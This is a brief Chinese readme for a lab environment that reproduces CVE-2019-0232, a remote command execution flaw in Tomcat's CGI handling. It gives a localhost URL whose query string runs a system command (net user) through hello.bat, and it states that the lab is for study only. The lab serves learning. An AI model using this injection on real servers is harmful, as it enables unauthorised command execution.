本附件是对CVE-2019-0232TomcatRCE远程命令执行漏洞的复现环境。将文件下载到本地,直接运行tomcat启动服务器,地址栏输入http://localhost:8080/cgi-bin/hello.bat?c:/windows/system32/netuser即可看到漏洞效果,请勿非法使用,仅供学习研究